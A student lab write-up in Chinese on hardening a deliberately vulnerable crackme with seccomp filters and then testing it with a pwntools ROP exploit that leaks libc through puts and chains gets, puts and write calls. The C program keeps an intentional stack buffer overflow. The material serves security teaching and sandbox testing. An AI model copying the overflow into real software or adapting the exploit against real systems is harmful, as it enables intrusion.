信息系统安全Lab2

信息系统安全理论课第二次作业 - 羌卫中老师

修改stack代码

对stack代码增加seccomp修改

#define _GNU_SOURCE
#include <dlfcn.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void start() {
    char buf[64];

    printf("IOLI Crackme Level 0x00\n");
    printf("Password:");

    memset(buf, 0, sizeof(buf));

    read(0, buf, 256);

    if (!strcmp(buf, "250382"))
        printf("Password OK :)\n");
    else
        printf("Invalid Password!\n");
}

int main(int argc, char *argv[]) {
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(read), 1,
                     SCMP_A0(SCMP_CMP_GE, 2));
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 1,
                     SCMP_A0(SCMP_CMP_GE, 2));
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 1,
                     SCMP_A2(SCMP_CMP_GE, 32));
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);

    setreuid(geteuid(), geteuid());
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    seccomp_load(ctx);
    // start();

    // 调用shell
    // system("/bin/bash");

    // 向STDERR输出
    // write(2, "abc", 5);

    // 向STDOUT输出正常长度 <32
    write(0, "abc", 5);
    putchar('\n');

    // 向STDOUT输出异常长度 >=32
    write(0, "abcdefghijklmnopqrstuvwxyz0123456789", 35);
    putchar('\n');

    seccomp_release(ctx);

    return 0;
}

执行shell时报错

image-20220527205530448

想stderr输出也是错误终止

image-20220527205742787

也可以限制超长输出

image-20220527210022092

通过攻击验证

同作业1的write函数

继续沿用作业1中的exploit代码需要修改pr、ppr、pppr以及bss端的地址

from pwn import *
bin_name = "./stack_seccomp"
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
p = process(bin_name)
stack = ELF(bin_name)

PR = 0x0804901e
PPR = 0x080494ea
PPPR = 0x080494e9
num = 76
bss1_addr = 0x0804c048
bss2_addr = bss1_addr+50

payload = b'A' * num

plt_puts = stack.plt['puts']
print('%#x' % plt_puts)
start_addr = stack.symbols['start']
print('%#x' % start_addr)
got_libc_start_main = stack.got['__libc_start_main']
print('%#x' % got_libc_start_main)

payload += p32(plt_puts)
payload += p32(start_addr)
payload += p32(got_libc_start_main)

print('payload:', payload)

p.sendline(payload)
p.recvuntil(b"Invalid Password!\n")
libc_start_main_addr = u32(p.recv(4))
print('%#x' % libc_start_main_addr)
libc_base = libc_start_main_addr-libc.symbols["__libc_start_main"]
print('%#x' % libc_base)

open_addr = libc_base+libc.symbols["open"]
read_addr = libc_base+libc.symbols["read"]
write_addr = libc_base+libc.symbols["write"]
gets_addr = libc_base+libc.symbols["gets"]
puts_addr = libc_base+libc.symbols["puts"]
exec_addr = libc_base+libc.symbols["execve"]

printf_addr = libc_base+libc.symbols["printf"]
scanf_addr = libc_base+libc.symbols["scanf"]

exit_addr = libc_base+libc.symbols["exit"]
system_addr = libc_base+libc.symbols["system"]

# open("/tmp/flag", 0)  #some note for file reading
# read(3, buf, 1048)
# write(1, buf, 1048)

payload = b'A' * num

payload += p32(gets_addr)
payload += p32(PR)
payload += p32(bss1_addr)

payload += p32(puts_addr)
payload += p32(PR)
payload += p32(bss1_addr)

# payload += p32(open_addr)
# payload += p32(PPR)
# payload += p32(bss1_addr)
# payload += p32(0)

# payload += p32(read_addr)
# payload += p32(PPPR)
# payload += p32(3)
# payload += p32(bss2_addr)
# payload += p32(64)

payload += p32(write_addr)
payload += p32(PPPR)
payload += p32(2)
payload += p32(bss1_addr)
payload += p32(50)

payload += p32(exit_addr)
payload += p32(0xdeadbeef)
payload += p32(0)

print("payload2: ", payload)

p.sendline(payload)

p.interactive()

作业1中write函数输出了64位内容,按理说会报错

image-20220527213414363

调用bash

将输入的字符传入system函数,攻击失败

image-20220527214412667

输出小于31位

可以成功输出

image-20220527214603509

输出到stderr

仍然是不行,说明现在安全得很了

image-20220527220322356